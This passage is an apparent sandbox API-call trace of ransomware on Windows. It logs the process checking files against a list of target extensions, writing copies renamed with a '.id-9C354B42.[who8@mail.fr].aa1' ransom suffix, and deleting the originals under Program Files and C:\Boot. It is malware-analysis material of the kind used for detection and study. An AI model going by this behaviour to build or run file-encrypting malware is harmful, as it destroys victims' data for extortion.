returned 4 [0225.505] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.505] lstrlenW (lpString=".jpg") returned 4 [0225.505] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.506] lstrcmpiW (lpString1=".inc", lpString2=".aa1") returned 1 [0225.506] lstrlenW (lpString="adojavas.inc") returned 12 [0225.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.728] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=14610) returned 1 [0225.729] CloseHandle (hObject=0x1b0) returned 1 [0225.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0225.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0225.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0225.729] lstrlenW (lpString=".doc") returned 4 [0225.729] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0225.729] lstrlenW (lpString=".docx") returned 5 [0225.729] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0225.729] lstrlenW (lpString=".pdf") returned 4 [0225.729] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0225.729] lstrlenW (lpString=".xls") returned 4 [0225.729] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0225.729] lstrlenW (lpString=".xlsx") returned 5 [0225.729] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0225.729] lstrlenW (lpString=".ppt") returned 4 [0225.729] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0225.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0225.729] lstrlenW (lpString=".zip") returned 4 [0225.730] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0225.730] lstrlenW (lpString=".rar") returned 4 [0225.730] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0225.730] lstrlenW (lpString=".bz2") returned 4 [0225.730] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0225.730] lstrlenW (lpString=".7z") returned 3 [0225.730] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0225.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0225.730] lstrlenW (lpString=".dbf") returned 4 [0225.730] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0225.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0225.730] lstrlenW (lpString=".1cd") returned 4 [0225.730] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0225.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0225.730] lstrlenW (lpString=".jpg") returned 4 [0225.730] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0225.732] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.732] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.732] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0225.733] GetLastError () returned 0x0 [0225.733] ReadFile (in: hFile=0x1b0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0xae, lpOverlapped=0x0) returned 1 [0225.734] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0225.735] ReadFile (in: hFile=0x1b0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.736] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.736] SetEndOfFile (hFile=0x1dc) returned 1 [0225.736] CloseHandle (hObject=0x1dc) returned 1 [0225.736] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.736] SetEndOfFile (hFile=0x1b0) returned 1 [0225.737] CloseHandle (hObject=0x1b0) returned 1 [0225.737] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x26) returned 1 [0225.737] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0225.738] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0225.738] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0225.738] lstrlenW (lpString=".doc") returned 4 [0225.738] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0225.738] lstrlenW (lpString=".docx") returned 5 [0225.738] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0225.738] lstrlenW (lpString=".pdf") returned 4 [0225.738] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0225.738] lstrlenW (lpString=".xls") returned 4 [0225.738] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0225.738] lstrlenW (lpString=".xlsx") returned 5 [0225.738] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0225.738] lstrlenW (lpString=".ppt") returned 4 [0225.738] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0225.738] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0225.738] lstrlenW (lpString=".zip") returned 4 [0225.738] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0225.738] lstrlenW (lpString=".rar") returned 4 [0225.738] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0225.739] lstrlenW (lpString=".bz2") returned 4 [0225.739] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0225.739] lstrlenW (lpString=".7z") returned 3 [0225.739] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0225.739] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0225.739] lstrlenW (lpString=".dbf") returned 4 [0225.739] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0225.739] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0225.739] lstrlenW (lpString=".1cd") returned 4 [0225.739] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0225.739] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0225.739] lstrlenW (lpString=".jpg") returned 4 [0225.739] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 Thread: id = 12 os_tid = 0xba0 [0195.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5d0aa0 [0195.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3850048 [0195.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5404c8 [0195.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x543208 [0195.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5404e0 [0195.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3950020 [0195.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5404f8 [0195.027] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5404f8, Size=0x20) returned 0x56fae8 [0195.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5404f8 [0195.028] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5404f8, Size=0x20) returned 0x56fac0 [0195.028] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0195.028] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0195.028] Wow64DisableWow64FsRedirection (in: OldValue=0x2d9ff58 | out: OldValue=0x2d9ff58*=0x0) returned 1 [0195.028] lstrlenW (lpString="kernel32.dll") returned 12 [0195.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fae8 | out: hHeap=0x4f0000) returned 1 [0195.028] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0195.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fac0 | out: hHeap=0x4f0000) returned 1 [0195.028] Sleep (dwMilliseconds=0x64) [0195.184] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0195.184] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.184] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0195.184] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=89168) returned 1 [0195.184] CloseHandle (hObject=0x15c) returned 1 [0195.184] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0195.184] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.185] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.185] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.185] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.185] lstrlenW (lpString=".doc") returned 4 [0195.185] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.185] lstrlenW (lpString=".docx") returned 5 [0195.185] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.185] lstrlenW (lpString=".pdf") returned 4 [0195.185] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.185] lstrlenW (lpString=".xls") returned 4 [0195.185] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.185] lstrlenW (lpString=".xlsx") returned 5 [0195.185] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.185] lstrlenW (lpString=".ppt") returned 4 [0195.185] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.185] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.185] lstrlenW (lpString=".zip") returned 4 [0195.186] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.186] lstrlenW (lpString=".rar") returned 4 [0195.186] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.186] lstrlenW (lpString=".bz2") returned 4 [0195.186] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.186] lstrlenW (lpString=".7z") returned 3 [0195.186] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.186] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.186] lstrlenW (lpString=".dbf") returned 4 [0195.186] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.186] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.186] lstrlenW (lpString=".1cd") returned 4 [0195.186] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.186] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.186] lstrlenW (lpString=".jpg") returned 4 [0195.186] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.186] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.186] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.187] lstrlenW (lpString=".doc") returned 4 [0195.187] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.187] lstrlenW (lpString=".docx") returned 5 [0195.187] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.187] lstrlenW (lpString=".pdf") returned 4 [0195.187] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.187] lstrlenW (lpString=".xls") returned 4 [0195.187] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.187] lstrlenW (lpString=".xlsx") returned 5 [0195.187] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.187] lstrlenW (lpString=".ppt") returned 4 [0195.187] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.187] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.187] lstrlenW (lpString=".zip") returned 4 [0195.187] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.187] lstrlenW (lpString=".rar") returned 4 [0195.187] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.187] lstrlenW (lpString=".bz2") returned 4 [0195.187] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.187] lstrlenW (lpString=".7z") returned 3 [0195.187] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.187] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.188] lstrlenW (lpString=".dbf") returned 4 [0195.188] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.188] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.188] lstrlenW (lpString=".1cd") returned 4 [0195.188] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.188] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0195.188] lstrlenW (lpString=".jpg") returned 4 [0195.188] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.188] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0195.188] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.188] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0195.188] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=87616) returned 1 [0195.188] CloseHandle (hObject=0x15c) returned 1 [0195.188] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0195.189] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.189] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.189] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.189] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.189] lstrlenW (lpString=".doc") returned 4 [0195.189] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.189] lstrlenW (lpString=".docx") returned 5 [0195.189] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.189] lstrlenW (lpString=".pdf") returned 4 [0195.189] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.189] lstrlenW (lpString=".xls") returned 4 [0195.189] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.189] lstrlenW (lpString=".xlsx") returned 5 [0195.189] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.189] lstrlenW (lpString=".ppt") returned 4 [0195.189] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.189] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.190] lstrlenW (lpString=".zip") returned 4 [0195.190] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.190] lstrlenW (lpString=".rar") returned 4 [0195.190] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.190] lstrlenW (lpString=".bz2") returned 4 [0195.190] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.190] lstrlenW (lpString=".7z") returned 3 [0195.190] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.190] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.190] lstrlenW (lpString=".dbf") returned 4 [0195.190] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.190] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.190] lstrlenW (lpString=".1cd") returned 4 [0195.190] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.190] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.190] lstrlenW (lpString=".jpg") returned 4 [0195.190] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.190] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.190] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.191] lstrlenW (lpString=".doc") returned 4 [0195.191] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.191] lstrlenW (lpString=".docx") returned 5 [0195.191] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.191] lstrlenW (lpString=".pdf") returned 4 [0195.191] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.191] lstrlenW (lpString=".xls") returned 4 [0195.191] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.191] lstrlenW (lpString=".xlsx") returned 5 [0195.191] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.191] lstrlenW (lpString=".ppt") returned 4 [0195.191] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.191] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.191] lstrlenW (lpString=".zip") returned 4 [0195.191] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.191] lstrlenW (lpString=".rar") returned 4 [0195.191] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.191] lstrlenW (lpString=".bz2") returned 4 [0195.191] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.191] lstrlenW (lpString=".7z") returned 3 [0195.191] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.191] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.192] lstrlenW (lpString=".dbf") returned 4 [0195.192] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.192] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.192] lstrlenW (lpString=".1cd") returned 4 [0195.192] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.192] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0195.192] lstrlenW (lpString=".jpg") returned 4 [0195.192] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.192] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0195.192] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.192] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0195.193] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=91712) returned 1 [0195.193] CloseHandle (hObject=0x15c) returned 1 [0195.193] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0195.193] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0195.193] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.194] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.194] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.194] lstrlenW (lpString=".doc") returned 4 [0195.194] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.194] lstrlenW (lpString=".docx") returned 5 [0195.194] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.194] lstrlenW (lpString=".pdf") returned 4 [0195.194] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.194] lstrlenW (lpString=".xls") returned 4 [0195.194] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.194] lstrlenW (lpString=".xlsx") returned 5 [0195.194] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.194] lstrlenW (lpString=".ppt") returned 4 [0195.194] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.194] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.194] lstrlenW (lpString=".zip") returned 4 [0195.194] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.194] lstrlenW (lpString=".rar") returned 4 [0195.194] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.194] lstrlenW (lpString=".bz2") returned 4 [0195.194] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.195] lstrlenW (lpString=".7z") returned 3 [0195.195] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.195] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.195] lstrlenW (lpString=".dbf") returned 4 [0195.195] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.195] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.195] lstrlenW (lpString=".1cd") returned 4 [0195.195] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.195] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.195] lstrlenW (lpString=".jpg") returned 4 [0195.195] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.195] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.195] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.195] lstrlenW (lpString=".doc") returned 4 [0195.195] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.195] lstrlenW (lpString=".docx") returned 5 [0195.195] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.195] lstrlenW (lpString=".pdf") returned 4 [0195.195] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.196] lstrlenW (lpString=".xls") returned 4 [0195.196] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.196] lstrlenW (lpString=".xlsx") returned 5 [0195.196] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.196] lstrlenW (lpString=".ppt") returned 4 [0195.196] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.196] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.196] lstrlenW (lpString=".zip") returned 4 [0195.196] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.196] lstrlenW (lpString=".rar") returned 4 [0195.196] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.196] lstrlenW (lpString=".bz2") returned 4 [0195.196] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.196] lstrlenW (lpString=".7z") returned 3 [0195.196] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.196] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.196] lstrlenW (lpString=".dbf") returned 4 [0195.196] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.196] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.196] lstrlenW (lpString=".1cd") returned 4 [0195.197] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.197] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0195.197] lstrlenW (lpString=".jpg") returned 4 [0195.197] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.197] lstrcmpiW (lpString1=".mui", lpString2=".aa1") returned 1 [0195.197] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.197] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0195.197] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=94800) returned 1 [0195.197] 